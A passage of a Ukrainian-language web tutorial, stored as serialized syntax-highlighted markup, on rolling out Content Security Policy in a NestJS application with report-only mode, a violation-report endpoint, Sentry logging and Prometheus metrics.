})\n);\n",[5325,10502,10503,10507,10517,10527,10539,10545,10555,10570,10583,10587,10591],{"__ignoreMap":5417},[5421,10504,10505],{"class":5423,"line":5424},[5421,10506,5495],{"class":5494},[5421,10508,10509,10511,10513,10515],{"class":5423,"line":5498},[5421,10510,6320],{"class":5509},[5421,10512,5601],{"class":5505},[5421,10514,5634],{"class":5427},[5421,10516,6327],{"class":5505},[5421,10518,10519,10521,10523,10525],{"class":5423,"line":5525},[5421,10520,6332],{"class":5509},[5421,10522,5601],{"class":5505},[5421,10524,6337],{"class":5427},[5421,10526,6340],{"class":5505},[5421,10528,10529,10532,10534,10536],{"class":5423,"line":5544},[5421,10530,10531],{"class":5509},"    reportOnly:",[5421,10533,7840],{"class":5434},[5421,10535,6106],{"class":5505},[5421,10537,10538],{"class":5494},"\u002F\u002F Лише логувати порушення, не блокувати\n",[5421,10540,10541,10543],{"class":5423,"line":5560},[5421,10542,6345],{"class":5509},[5421,10544,6348],{"class":5505},[5421,10546,10547,10549,10551,10553],{"class":5423,"line":5567},[5421,10548,6353],{"class":5509},[5421,10550,6356],{"class":5505},[5421,10552,6359],{"class":5430},[5421,10554,6699],{"class":5505},[5421,10556,10557,10559,10561,10563,10565,10568],{"class":5423,"line":5582},[5421,10558,6370],{"class":5509},[5421,10560,6356],{"class":5505},[5421,10562,6359],{"class":5430},[5421,10564,6106],{"class":5505},[5421,10566,10567],{"class":5430},"\"https:\u002F\u002Fcdn.example.com\"",[5421,10569,6699],{"class":5505},[5421,10571,10572,10575,10578,10580],{"class":5423,"line":5615},[5421,10573,10574],{"class":5509},"      reportUri:",[5421,10576,10577],{"class":5430}," '\u002Fapi\u002Fcsp-report'",[5421,10579,6106],{"class":5505},[5421,10581,10582],{"class":5494},"\u002F\u002F Endpoint для отримання звітів\n",[5421,10584,10585],{"class":5423,"line":5620},[5421,10586,6610],{"class":5505},[5421,10588,10589],{"class":5423,"line":5626},[5421,10590,6616],{"class":5505},[5421,10592,10593],{"class":5423,"line":5645},[5421,10594,5612],{"class":5505},[5089,10596,10597],{},[5099,10598,5984],{},[5412,10600,10602],{"className":5943,"code":10601,"language":5945,"meta":5417,"style":5417},"Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' https:\u002F\u002Fcdn.example.com; report-uri \u002Fapi\u002Fcsp-report\n",[5325,10603,10604],{"__ignoreMap":5417},[5421,10605,10606,10609,10611],{"class":5423,"line":5424},[5421,10607,10608],{"class":5952},"Content-Security-Policy-Report-Only",[5421,10610,5482],{"class":5434},[5421,10612,10613],{"class":5430}," default-src 'self'; script-src 'self' https:\u002F\u002Fcdn.example.com; report-uri \u002Fapi\u002Fcsp-report\n",[5089,10615,10616,10617,10620,10621,5482],{},"Браузер ",[5099,10618,10619],{},"не блокуватиме"," порушення, але відправлятиме звіти на ",[5325,10622,10623],{},"\u002Fapi\u002Fcsp-report",[5412,10625,10627],{"className":5485,"code":10626,"language":5487,"meta":5417,"style":5417},"\u002F\u002F src\u002Fcsp\u002Fcsp-report.controller.ts\nimport { Controller, Post, Body, Logger } from '@nestjs\u002Fcommon';\n\n@Controller('api\u002Fcsp-report')\nexport class CspReportController {\n  private logger = new Logger('CSP');\n\n  @Post()\n  handleReport(@Body() report: any) {\n    this.logger.warn('CSP violation detected:', JSON.stringify(report, null, 2));\n    \n    \u002F\u002F Зберегти у базу даних або надіслати до Sentry\n    \u002F\u002F await this.monitoringService.logCspViolation(report);\n\n    return { received: true };\n  }\n}\n",[5325,10628,10629,10634,10666,10670,10683,10694,10717,10721,10730,10752,10798,10802,10807,10812,10816,10831,10835],{"__ignoreMap":5417},[5421,10630,10631],{"class":5423,"line":5424},[5421,10632,10633],{"class":5494},"\u002F\u002F src\u002Fcsp\u002Fcsp-report.controller.ts\n",[5421,10635,10636,10638,10640,10643,10645,10648,10650,10653,10655,10658,10660,10662,10664],{"class":5423,"line":5498},[5421,10637,5502],{"class":5501},[5421,10639,5506],{"class":5505},[5421,10641,10642],{"class":5509},"Controller",[5421,10644,6106],{"class":5505},[5421,10646,10647],{"class":5509},"Post",[5421,10649,6106],{"class":5505},[5421,10651,10652],{"class":5509},"Body",[5421,10654,6106],{"class":5505},[5421,10656,10657],{"class":5509},"Logger",[5421,10659,5513],{"class":5505},[5421,10661,5516],{"class":5501},[5421,10663,6828],{"class":5430},[5421,10665,5522],{"class":5505},[5421,10667,10668],{"class":5423,"line":5525},[5421,10669,5564],{"emptyLinePlaceholder":5563},[5421,10671,10672,10674,10676,10678,10681],{"class":5423,"line":5544},[5421,10673,5834],{"class":5505},[5421,10675,10642],{"class":5427},[5421,10677,5607],{"class":5505},[5421,10679,10680],{"class":5430},"'api\u002Fcsp-report'",[5421,10682,5845],{"class":5505},[5421,10684,10685,10687,10689,10692],{"class":5423,"line":5560},[5421,10686,6890],{"class":5501},[5421,10688,6893],{"class":5434},[5421,10690,10691],{"class":6896}," CspReportController",[5421,10693,6348],{"class":5505},[5421,10695,10696,10699,10702,10704,10707,10710,10712,10715],{"class":5423,"line":5567},[5421,10697,10698],{"class":5434},"  private",[5421,10700,10701],{"class":5509}," logger",[5421,10703,5592],{"class":5505},[5421,10705,10706],{"class":5434},"new",[5421,10708,10709],{"class":5427}," Logger",[5421,10711,5607],{"class":5505},[5421,10713,10714],{"class":5430},"'CSP'",[5421,10716,5612],{"class":5505},[5421,10718,10719],{"class":5423,"line":5582},[5421,10720,5564],{"emptyLinePlaceholder":5563},[5421,10722,10723,10726,10728],{"class":5423,"line":5615},[5421,10724,10725],{"class":5505},"  @",[5421,10727,10647],{"class":5427},[5421,10729,6885],{"class":5505},[5421,10731,10732,10735,10737,10739,10742,10745,10747,10750],{"class":5423,"line":5620},[5421,10733,10734],{"class":5427},"  handleReport",[5421,10736,5853],{"class":5505},[5421,10738,10652],{"class":5427},[5421,10740,10741],{"class":5505},"() ",[5421,10743,10744],{"class":5509},"report",[5421,10746,5870],{"class":5505},[5421,10748,10749],{"class":6896},"any",[5421,10751,5876],{"class":5505},[5421,10753,10754,10757,10759,10762,10764,10767,10769,10772,10774,10777,10779,10782,10784,10786,10788,10791,10793,10796],{"class":5423,"line":5626},[5421,10755,10756],{"class":5434},"    this",[5421,10758,5601],{"class":5505},[5421,10760,10761],{"class":5509},"logger",[5421,10763,5601],{"class":5505},[5421,10765,10766],{"class":5427},"warn",[5421,10768,5607],{"class":5505},[5421,10770,10771],{"class":5430},"'CSP violation detected:'",[5421,10773,6106],{"class":5505},[5421,10775,10776],{"class":5588},"JSON",[5421,10778,5601],{"class":5505},[5421,10780,10781],{"class":5427},"stringify",[5421,10783,5607],{"class":5505},[5421,10785,10744],{"class":5509},[5421,10787,6106],{"class":5505},[5421,10789,10790],{"class":5434},"null",[5421,10792,6106],{"class":5505},[5421,10794,10795],{"class":5665},"2",[5421,10797,10196],{"class":5505},[5421,10799,10800],{"class":5423,"line":5645},[5421,10801,6985],{"class":5505},[5421,10803,10804],{"class":5423,"line":5650},[5421,10805,10806],{"class":5494},"    \u002F\u002F Зберегти у базу даних або надіслати до Sentry\n",[5421,10808,10809],{"class":5423,"line":5671},[5421,10810,10811],{"class":5494},"    \u002F\u002F await this.monitoringService.logCspViolation(report);\n",[5421,10813,10814],{"class":5423,"line":5677},[5421,10815,5564],{"emptyLinePlaceholder":5563},[5421,10817,10818,10821,10823,10826,10828],{"class":5423,"line":6424},[5421,10819,10820],{"class":5501},"    return",[5421,10822,5506],{"class":5505},[5421,10824,10825],{"class":5509},"received:",[5421,10827,7840],{"class":5434},[5421,10829,10830],{"class":5505}," };\n",[5421,10832,10833],{"class":5423,"line":6435},[5421,10834,7073],{"class":5505},[5421,10836,10837],{"class":5423,"line":6443},[5421,10838,5674],{"class":5505},[5089,10840,10841],{},[5099,10842,10843],{},"Приклад звіту від браузера:",[5412,10845,10849],{"className":10846,"code":10847,"language":10848,"meta":5417,"style":5417},"language-json shiki shiki-themes light-plus dark-plus dark-plus","{\n  \"csp-report\": {\n    \"document-uri\": \"https:\u002F\u002Fexample.com\u002Fpage\",\n    \"violated-directive\": \"script-src 'self' https:\u002F\u002Fcdn.example.com\",\n    \"blocked-uri\": \"https:\u002F\u002Fmalicious.com\u002Fevil.js\",\n    \"source-file\": \"https:\u002F\u002Fexample.com\u002Fpage\",\n    \"line-number\": 42,\n    \"column-number\": 15\n  }\n}\n","json",[5325,10850,10851,10856,10864,10876,10888,10900,10911,10923,10933,10937],{"__ignoreMap":5417},[5421,10852,10853],{"class":5423,"line":5424},[5421,10854,10855],{"class":5505},"{\n",[5421,10857,10858,10862],{"class":5423,"line":5498},[5421,10859,10861],{"class":10860},"sLwNe","  \"csp-report\"",[5421,10863,7971],{"class":5505},[5421,10865,10866,10869,10871,10874],{"class":5423,"line":5525},[5421,10867,10868],{"class":10860},"    \"document-uri\"",[5421,10870,5870],{"class":5505},[5421,10872,10873],{"class":5430},"\"https:\u002F\u002Fexample.com\u002Fpage\"",[5421,10875,6381],{"class":5505},[5421,10877,10878,10881,10883,10886],{"class":5423,"line":5544},[5421,10879,10880],{"class":10860},"    \"violated-directive\"",[5421,10882,5870],{"class":5505},[5421,10884,10885],{"class":5430},"\"script-src 'self' https:\u002F\u002Fcdn.example.com\"",[5421,10887,6381],{"class":5505},[5421,10889,10890,10893,10895,10898],{"class":5423,"line":5560},[5421,10891,10892],{"class":10860},"    \"blocked-uri\"",[5421,10894,5870],{"class":5505},[5421,10896,10897],{"class":5430},"\"https:\u002F\u002Fmalicious.com\u002Fevil.js\"",[5421,10899,6381],{"class":5505},[5421,10901,10902,10905,10907,10909],{"class":5423,"line":5567},[5421,10903,10904],{"class":10860},"    \"source-file\"",[5421,10906,5870],{"class":5505},[5421,10908,10873],{"class":5430},[5421,10910,6381],{"class":5505},[5421,10912,10913,10916,10918,10921],{"class":5423,"line":5582},[5421,10914,10915],{"class":10860},"    \"line-number\"",[5421,10917,5870],{"class":5505},[5421,10919,10920],{"class":5665},"42",[5421,10922,6381],{"class":5505},[5421,10924,10925,10928,10930],{"class":5423,"line":5615},[5421,10926,10927],{"class":10860},"    \"column-number\"",[5421,10929,5870],{"class":5505},[5421,10931,10932],{"class":5665},"15\n",[5421,10934,10935],{"class":5423,"line":5620},[5421,10936,7073],{"class":5505},[5421,10938,10939],{"class":5423,"line":5626},[5421,10940,5674],{"class":5505},[5232,10942,10944],{"id":10943},"поетапне-впровадження-csp","Поетапне впровадження CSP",[5089,10946,10947],{},[5099,10948,10949],{},"Фаза 1: Report-Only (1-2 тижні)",[5089,10951,10952],{},"Увімкніть CSP у report-only режимі для збору реальних даних про порушення:",[5412,10954,10956],{"className":5485,"code":10955,"language":5487,"meta":5417,"style":5417},"contentSecurityPolicy: {\n  reportOnly: true,\n  directives: { \u002F* ваша політика *\u002F },\n}\n",[5325,10957,10958,10964,10975,10988],{"__ignoreMap":5417},[5421,10959,10960,10962],{"class":5423,"line":5424},[5421,10961,6337],{"class":7967},[5421,10963,7971],{"class":5505},[5421,10965,10966,10969,10971,10973],{"class":5423,"line":5498},[5421,10967,10968],{"class":7967},"  reportOnly",[5421,10970,5870],{"class":5505},[5421,10972,7996],{"class":5434},[5421,10974,6381],{"class":5505},[5421,10976,10977,10980,10983,10986],{"class":5423,"line":5525},[5421,10978,10979],{"class":7967},"  directives",[5421,10981,10982],{"class":5505},": { ",[5421,10984,10985],{"class":5494},"\u002F* ваша політика *\u002F",[5421,10987,10009],{"class":5505},[5421,10989,10990],{"class":5423,"line":5544},[5421,10991,5674],{"class":5505},[5089,10993,10994],{},"Аналізуйте звіти, щоб виявити:",[5093,10996,10997,11000,11003],{},[5096,10998,10999],{},"Легітимні ресурси, які потрібно додати до whitelist.",[5096,11001,11002],{},"Зловмисні скрипти (якщо є).",[5096,11004,11005],{},"Застарілі практики у вашому коді (inline scripts).",[5089,11007,11008],{},[5099,11009,11010],{},"Фаза 2: Enforce з винятками (1-2 тижні)",[5089,11012,11013,11014,11016],{},"Увімкніть CSP у enforce режимі, але додайте ",[5325,11015,6241],{}," для критичних сценаріїв:",[5412,11018,11020],{"className":5485,"code":11019,"language":5487,"meta":5417,"style":5417},"contentSecurityPolicy: {\n  reportOnly: false,\n  directives: {\n    defaultSrc: [\"'self'\"],\n    scriptSrc: [\"'self'\", \"https:\u002F\u002Fcdn.example.com\", \"'unsafe-inline'\"], \u002F\u002F Тимчасово\n  },\n}\n",[5325,11021,11022,11028,11038,11044,11055,11077,11081],{"__ignoreMap":5417},[5421,11023,11024,11026],{"class":5423,"line":5424},[5421,11025,6337],{"class":7967},[5421,11027,7971],{"class":5505},[5421,11029,11030,11032,11034,11036],{"class":5423,"line":5498},[5421,11031,10968],{"class":7967},[5421,11033,5870],{"class":5505},[5421,11035,8170],{"class":5434},[5421,11037,6381],{"class":5505},[5421,11039,11040,11042],{"class":5423,"line":5525},[5421,11041,10979],{"class":7967},[5421,11043,7971],{"class":5505},[5421,11045,11046,11049,11051,11053],{"class":5423,"line":5544},[5421,11047,11048],{"class":7967},"    defaultSrc",[5421,11050,9198],{"class":5505},[5421,11052,6359],{"class":5430},[5421,11054,6699],{"class":5505},[5421,11056,11057,11060,11062,11064,11066,11068,11070,11072,11074],{"class":5423,"line":5560},[5421,11058,11059],{"class":7967},"    scriptSrc",[5421,11061,9198],{"class":5505},[5421,11063,6359],{"class":5430},[5421,11065,6106],{"class":5505},[5421,11067,10567],{"class":5430},[5421,11069,6106],{"class":5505},[5421,11071,6738],{"class":5430},[5421,11073,6362],{"class":5505},[5421,11075,11076],{"class":5494},"\u002F\u002F Тимчасово\n",[5421,11078,11079],{"class":5423,"line":5567},[5421,11080,7558],{"class":5505},[5421,11082,11083],{"class":5423,"line":5582},[5421,11084,5674],{"class":5505},[5089,11086,11087],{},[5099,11088,11089],{},"Фаза 3: Повне enforce (постійно)",[5089,11091,11092,11093,11095],{},"Видаліть ",[5325,11094,6241],{}," та замініть inline scripts на nonce або hash:",[5412,11097,11099],{"className":5485,"code":11098,"language":5487,"meta":5417,"style":5417},"contentSecurityPolicy: {\n  directives: {\n    defaultSrc: [\"'self'\"],\n    scriptSrc: [\"'self'\", \"https:\u002F\u002Fcdn.example.com\"], \u002F\u002F Без unsafe-inline\n  },\n}\n",[5325,11100,11101,11107,11113,11123,11140,11144],{"__ignoreMap":5417},[5421,11102,11103,11105],{"class":5423,"line":5424},[5421,11104,6337],{"class":7967},[5421,11106,7971],{"class":5505},[5421,11108,11109,11111],{"class":5423,"line":5498},[5421,11110,10979],{"class":7967},[5421,11112,7971],{"class":5505},[5421,11114,11115,11117,11119,11121],{"class":5423,"line":5525},[5421,11116,11048],{"class":7967},[5421,11118,9198],{"class":5505},[5421,11120,6359],{"class":5430},[5421,11122,6699],{"class":5505},[5421,11124,11125,11127,11129,11131,11133,11135,11137],{"class":5423,"line":5544},[5421,11126,11059],{"class":7967},[5421,11128,9198],{"class":5505},[5421,11130,6359],{"class":5430},[5421,11132,6106],{"class":5505},[5421,11134,10567],{"class":5430},[5421,11136,6362],{"class":5505},[5421,11138,11139],{"class":5494},"\u002F\u002F Без unsafe-inline\n",[5421,11141,11142],{"class":5423,"line":5560},[5421,11143,7558],{"class":5505},[5421,11145,11146],{"class":5423,"line":5567},[5421,11147,5674],{"class":5505},[5149,11149],{},[5084,11151,11153],{"id":11152},"інтеграція-з-системами-моніторингу","Інтеграція з системами моніторингу",[5232,11155,11157],{"id":11156},"логування-порушень-csp-до-sentry","Логування порушень CSP до Sentry",[5412,11159,11161],{"className":5485,"code":11160,"language":5487,"meta":5417,"style":5417},"\u002F\u002F src\u002Fcsp\u002Fcsp-report.service.ts\nimport { Injectable } from '@nestjs\u002Fcommon';\nimport * as Sentry from '@sentry\u002Fnode';\n\n@Injectable()\nexport class CspReportService {\n  logViolation(report: any) {\n    const cspReport = report['csp-report'];\n\n    \u002F\u002F Відправити до Sentry\n    Sentry.captureMessage('CSP Violation', {\n      level: 'warning',\n      tags: {\n        type: 'csp-violation',\n        violatedDirective: cspReport['violated-directive'],\n      },\n      extra: {\n        blockedUri: cspReport['blocked-uri'],\n        documentUri: cspReport['document-uri'],\n        sourceFile: cspReport['source-file'],\n        lineNumber: cspReport['line-number'],\n      },\n    });\n  }\n}\n",[5325,11162,11163,11168,11184,11204,11208,11216,11227,11242,11262,11266,11271,11289,11299,11306,11316,11330,11334,11341,11355,11369,11383,11397,11401,11406,11410],{"__ignoreMap":5417},[5421,11164,11165],{"class":5423,"line":5424},[5421,11166,11167],{"class":5494},"\u002F\u002F src\u002Fcsp\u002Fcsp-report.service.ts\n",[5421,11169,11170,11172,11174,11176,11178,11180,11182],{"class":5423,"line":5498},[5421,11171,5502],{"class":5501},[5421,11173,5506],{"class":5505},[5421,11175,6816],{"class":5509},[5421,11177,5513],{"class":5505},[5421,11179,5516],{"class":5501},[5421,11181,6828],{"class":5430},[5421,11183,5522],{"class":5505},[5421,11185,11186,11188,11191,11194,11197,11199,11202],{"class":5423,"line":5525},[5421,11187,5502],{"class":5501},[5421,11189,11190],{"class":5434}," *",[5421,11192,11193],{"class":5501}," as",[5421,11195,11196],{"class":5509}," Sentry",[5421,11198,5552],{"class":5501},[5421,11200,11201],{"class":5430}," '@sentry\u002Fnode'",[5421,11203,5522],{"class":5505},[5421,11205,11206],{"class":5423,"line":5544},[5421,11207,5564],{"emptyLinePlaceholder":5563},[5421,11209,11210,11212,11214],{"class":5423,"line":5560},[5421,11211,5834],{"class":5505},[5421,11213,6816],{"class":5427},[5421,11215,6885],{"class":5505},[5421,11217,11218,11220,11222,11225],{"class":5423,"line":5567},[5421,11219,6890],{"class":5501},[5421,11221,6893],{"class":5434},[5421,11223,11224],{"class":6896}," CspReportService",[5421,11226,6348],{"class":5505},[5421,11228,11229,11232,11234,11236,11238,11240],{"class":5423,"line":5582},[5421,11230,11231],{"class":5427},"  logViolation",[5421,11233,5607],{"class":5505},[5421,11235,10744],{"class":5509},[5421,11237,5870],{"class":5505},[5421,11239,10749],{"class":6896},[5421,11241,5876],{"class":5505},[5421,11243,11244,11246,11249,11251,11253,11256,11259],{"class":5423,"line":5615},[5421,11245,6949],{"class":5434},[5421,11247,11248],{"class":5588}," cspReport",[5421,11250,5592],{"class":5505},[5421,11252,10744],{"class":5509},[5421,11254,11255],{"class":5505},"[",[5421,11257,11258],{"class":5430},"'csp-report'",[5421,11260,11261],{"class":5505},"];\n",[5421,11263,11264],{"class":5423,"line":5620},[5421,11265,5564],{"emptyLinePlaceholder":5563},[5421,11267,11268],{"class":5423,"line":5626},[5421,11269,11270],{"class":5494},"    \u002F\u002F Відправити до Sentry\n",[5421,11272,11273,11276,11278,11281,11283,11286],{"class":5423,"line":5645},[5421,11274,11275],{"class":5509},"    Sentry",[5421,11277,5601],{"class":5505},[5421,11279,11280],{"class":5427},"captureMessage",[5421,11282,5607],{"class":5505},[5421,11284,11285],{"class":5430},"'CSP Violation'",[5421,11287,11288],{"class":5505},", {\n",[5421,11290,11291,11294,11297],{"class":5423,"line":5650},[5421,11292,11293],{"class":5509},"      level:",[5421,11295,11296],{"class":5430}," 'warning'",[5421,11298,6381],{"class":5505},[5421,11300,11301,11304],{"class":5423,"line":5671},[5421,11302,11303],{"class":5509},"      tags:",[5421,11305,6348],{"class":5505},[5421,11307,11308,11311,11314],{"class":5423,"line":5677},[5421,11309,11310],{"class":5509},"        type:",[5421,11312,11313],{"class":5430}," 'csp-violation'",[5421,11315,6381],{"class":5505},[5421,11317,11318,11321,11323,11325,11328],{"class":5423,"line":6424},[5421,11319,11320],{"class":5509},"        violatedDirective:",[5421,11322,11248],{"class":5509},[5421,11324,11255],{"class":5505},[5421,11326,11327],{"class":5430},"'violated-directive'",[5421,11329,6699],{"class":5505},[5421,11331,11332],{"class":5423,"line":6435},[5421,11333,8936],{"class":5505},[5421,11335,11336,11339],{"class":5423,"line":6443},[5421,11337,11338],{"class":5509},"      extra:",[5421,11340,6348],{"class":5505},[5421,11342,11343,11346,11348,11350,11353],{"class":5423,"line":6448},[5421,11344,11345],{"class":5509},"        blockedUri:",[5421,11347,11248],{"class":5509},[5421,11349,11255],{"class":5505},[5421,11351,11352],{"class":5430},"'blocked-uri'",[5421,11354,6699],{"class":5505},[5421,11356,11357,11360,11362,11364,11367],{"class":5423,"line":6456},[5421,11358,11359],{"class":5509},"        documentUri:",[5421,11361,11248],{"class":5509},[5421,11363,11255],{"class":5505},[5421,11365,11366],{"class":5430},"'document-uri'",[5421,11368,6699],{"class":5505},[5421,11370,11371,11374,11376,11378,11381],{"class":5423,"line":6463},[5421,11372,11373],{"class":5509},"        sourceFile:",[5421,11375,11248],{"class":5509},[5421,11377,11255],{"class":5505},[5421,11379,11380],{"class":5430},"'source-file'",[5421,11382,6699],{"class":5505},[5421,11384,11385,11388,11390,11392,11395],{"class":5423,"line":6475},[5421,11386,11387],{"class":5509},"        lineNumber:",[5421,11389,11248],{"class":5509},[5421,11391,11255],{"class":5505},[5421,11393,11394],{"class":5430},"'line-number'",[5421,11396,6699],{"class":5505},[5421,11398,11399],{"class":5423,"line":6487},[5421,11400,8936],{"class":5505},[5421,11402,11403],{"class":5423,"line":6492},[5421,11404,11405],{"class":5505},"    });\n",[5421,11407,11408],{"class":5423,"line":6500},[5421,11409,7073],{"class":5505},[5421,11411,11412],{"class":5423,"line":6507},[5421,11413,5674],{"class":5505},[5089,11415,11416],{},[5099,11417,11418],{},"Використання:",[5412,11420,11422],{"className":5485,"code":11421,"language":5487,"meta":5417,"style":5417},"@Controller('api\u002Fcsp-report')\nexport class CspReportController {\n  constructor(private cspReportService: CspReportService) {}\n\n  @Post()\n  handleReport(@Body() report: any) {\n    this.cspReportService.logViolation(report);\n    return { received: true };\n  }\n}\n",[5325,11423,11424,11436,11446,11467,11471,11479,11497,11517,11529,11533],{"__ignoreMap":5417},[5421,11425,11426,11428,11430,11432,11434],{"class":5423,"line":5424},[5421,11427,5834],{"class":5505},[5421,11429,10642],{"class":5427},[5421,11431,5607],{"class":5505},[5421,11433,10680],{"class":5430},[5421,11435,5845],{"class":5505},[5421,11437,11438,11440,11442,11444],{"class":5423,"line":5498},[5421,11439,6890],{"class":5501},[5421,11441,6893],{"class":5434},[5421,11443,10691],{"class":6896},[5421,11445,6348],{"class":5505},[5421,11447,11448,11451,11453,11456,11459,11461,11464],{"class":5423,"line":5525},[5421,11449,11450],{"class":5434},"  constructor",[5421,11452,5607],{"class":5505},[5421,11454,11455],{"class":5434},"private",[5421,11457,11458],{"class":5509}," cspReportService",[5421,11460,5870],{"class":5505},[5421,11462,11463],{"class":6896},"CspReportService",[5421,11465,11466],{"class":5505},") {}\n",[5421,11468,11469],{"class":5423,"line":5544},[5421,11470,5564],{"emptyLinePlaceholder":5563},[5421,11472,11473,11475,11477],{"class":5423,"line":5560},[5421,11474,10725],{"class":5505},[5421,11476,10647],{"class":5427},[5421,11478,6885],{"class":5505},[5421,11480,11481,11483,11485,11487,11489,11491,11493,11495],{"class":5423,"line":5567},[5421,11482,10734],{"class":5427},[5421,11484,5853],{"class":5505},[5421,11486,10652],{"class":5427},[5421,11488,10741],{"class":5505},[5421,11490,10744],{"class":5509},[5421,11492,5870],{"class":5505},[5421,11494,10749],{"class":6896},[5421,11496,5876],{"class":5505},[5421,11498,11499,11501,11503,11506,11508,11511,11513,11515],{"class":5423,"line":5582},[5421,11500,10756],{"class":5434},[5421,11502,5601],{"class":5505},[5421,11504,11505],{"class":5509},"cspReportService",[5421,11507,5601],{"class":5505},[5421,11509,11510],{"class":5427},"logViolation",[5421,11512,5607],{"class":5505},[5421,11514,10744],{"class":5509},[5421,11516,5612],{"class":5505},[5421,11518,11519,11521,11523,11525,11527],{"class":5423,"line":5615},[5421,11520,10820],{"class":5501},[5421,11522,5506],{"class":5505},[5421,11524,10825],{"class":5509},[5421,11526,7840],{"class":5434},[5421,11528,10830],{"class":5505},[5421,11530,11531],{"class":5423,"line":5620},[5421,11532,7073],{"class":5505},[5421,11534,11535],{"class":5423,"line":5626},[5421,11536,5674],{"class":5505},[5232,11538,11540],{"id":11539},"метрики-security-headers-у-prometheus","Метрики security headers у Prometheus",[5412,11542,11544],{"className":5485,"code":11543,"language":5487,"meta":5417,"style":5417},"\u002F\u002F src\u002Fmonitoring\u002Fsecurity-headers.metrics.ts\nimport { Injectable } from '@nestjs\u002Fcommon';\nimport { Counter } from 'prom-client';\n\n@Injectable()\nexport class SecurityHeadersMetrics {\n  private cspViolationsCounter = new Counter({\n    name: 'csp_violations_total',\n    help: 'Total number of CSP violations',\n    labelNames: ['violated_directive', 'blocked_uri'],\n  });\n\n  recordCspViolation(violatedDirective: string, blockedUri: string) {\n    this.cspViolationsCounter.inc({\n      violated_directive: violatedDirective,\n      blocked_uri: blockedUri,\n    });\n  }\n}\n",[5325,11545,11546,11551,11567,11585,11589,11597,11608,11624,11634,11644,11661,11666,11670,11695,11711,11721,11731,11735,11739],{"__ignoreMap":5417},[5421,11547,11548],{"class":5423,"line":5424},[5421,11549,11550],{"class":5494},"\u002F\u002F src\u002Fmonitoring\u002Fsecurity-headers.metrics.ts\n",[5421,11552,11553,11555,11557,11559,11561,11563,11565],{"class":5423,"line":5498},[5421,11554,5502],{"class":5501},[5421,11556,5506],{"class":5505},[5421,11558,6816],{"class":5509},[5421,11560,5513],{"class":5505},[5421,11562,5516],{"class":5501},[5421,11564,6828],{"class":5430},[5421,11566,5522],{"class":5505},[5421,11568,11569,11571,11573,11576,11578,11580,11583],{"class":5423,"line":5525},[5421,11570,5502],{"class":5501},[5421,11572,5506],{"class":5505},[5421,11574,11575],{"class":5509},"Counter",[5421,11577,5513],{"class":5505},[5421,11579,5516],{"class":5501},[5421,11581,11582],{"class":5430}," 'prom-client'",[5421,11584,5522],{"class":5505},[5421,11586,11587],{"class":5423,"line":5544},[5421,11588,5564],{"emptyLinePlaceholder":5563},[5421,11590,11591,11593,11595],{"class":5423,"line":5560},[5421,11592,5834],{"class":5505},[5421,11594,6816],{"class":5427},[5421,11596,6885],{"class":5505},[5421,11598,11599,11601,11603,11606],{"class":5423,"line":5567},[5421,11600,6890],{"class":5501},[5421,11602,6893],{"class":5434},[5421,11604,11605],{"class":6896}," SecurityHeadersMetrics",[5421,11607,6348],{"class":5505},[5421,11609,11610,11612,11615,11617,11619,11622],{"class":5423,"line":5582},[5421,11611,10698],{"class":5434},[5421,11613,11614],{"class":5509}," cspViolationsCounter",[5421,11616,5592],{"class":5505},[5421,11618,10706],{"class":5434},[5421,11620,11621],{"class":5427}," Counter",[5421,11623,6340],{"class":5505},[5421,11625,11626,11629,11632],{"class":5423,"line":5615},[5421,11627,11628],{"class":5509},"    name:",[5421,11630,11631],{"class":5430}," 'csp_violations_total'",[5421,11633,6381],{"class":5505},[5421,11635,11636,11639,11642],{"class":5423,"line":5620},[5421,11637,11638],{"class":5509},"    help:",[5421,11640,11641],{"class":5430}," 'Total number of CSP violations'",[5421,11643,6381],{"class":5505},[5421,11645,11646,11649,11651,11654,11656,11659],{"class":5423,"line":5626},[5421,11647,11648],{"class":5509},"    labelNames:",[5421,11650,6356],{"class":5505},[5421,11652,11653],{"class":5430},"'violated_directive'",[5421,11655,6106],{"class":5505},[5421,11657,11658],{"class":5430},"'blocked_uri'",[5421,11660,6699],{"class":5505},[5421,11662,11663],{"class":5423,"line":5645},[5421,11664,11665],{"class":5505},"  });\n",[5421,11667,11668],{"class":5423,"line":5650},[5421,11669,5564],{"emptyLinePlaceholder":5563},[5421,11671,11672,11675,11677,11680,11682,11684,11686,11689,11691,11693],{"class":5423,"line":5671},[5421,11673,11674],{"class":5427},"  recordCspViolation",[5421,11676,5607],{"class":5505},[5421,11678,11679],{"class":5509},"violatedDirective",[5421,11681,5870],{"class":5505},[5421,11683,5873],{"class":6896},[5421,11685,6106],{"class":5505},[5421,11687,11688],{"class":5509},"blockedUri",[5421,11690,5870],{"class":5505},[5421,11692,5873],{"class":6896},[5421,11694,5876],{"class":5505},[5421,11696,11697,11699,11701,11704,11706,11709],{"class":5423,"line":5677},[5421,11698,10756],{"class":5434},[5421,11700,5601],{"class":5505},[5421,11702,11703],{"class":5509},"cspViolationsCounter",[5421,11705,5601],{"class":5505},[5421,11707,11708],{"class":5427},"inc",[5421,11710,6340],{"class":5505},[5421,11712,11713,11716,11719],{"class":5423,"line":6424},[5421,11714,11715],{"class":5509},"      violated_directive:",[5421,11717,11718],{"class":5509}," violatedDirective",[5421,11720,6381],{"class":5505},[5421,11722,11723,11726,11729],{"class":5423,"line":6435},[5421,11724,11725],{"class":5509},"      blocked_uri:",[5421,11727,11728],{"class":5509}," blockedUri",[5421,11730,6381],{"class":5505},[5421,11732,11733],{"class":5423,"line":6443},[5421,11734,11405],{"class":5505},[5421,11736,11737],{"class":5423,"line":6448},[5421,11738,7073],{"class":5505},[5421,11740,11741],{"class":5423,"line":6456},[5421,11742,5674],{"class":5505},[5089,11744,11745],{},[5099,11746,11747],{},"Grafana Dashboard для моніторингу:",[5412,11749,11753],{"className":11750,"code":11751,"language":11752,"meta":5417,"style":5417},"language-promql shiki shiki-themes light-plus dark-plus dark-plus","# Кількість CSP порушень за останню годину\nrate(csp_violations_total[1h])\n\n# Топ-5 джерел порушень\ntopk(5, sum by (blocked_uri) (csp_violations_total))\n","promql",[5325,11754,11755,11760,11765,11769,11774],{"__ignoreMap":5417},[5421,11756,11757],{"class":5423,"line":5424},[5421,11758,11759],{},"# Кількість CSP порушень за останню годину\n",[5421,11761,11762],{"class":5423,"line":5498},[5421,11763,11764],{},"rate(csp_violations_total[1h])\n",[5421,11766,11767],{"class":5423,"line":5525},[5421,11768,5564],{"emptyLinePlaceholder":5563},[5421,11770,11771],{"class":5423,"line":5544},[5421,11772,11773],{},"# Топ-5 джерел 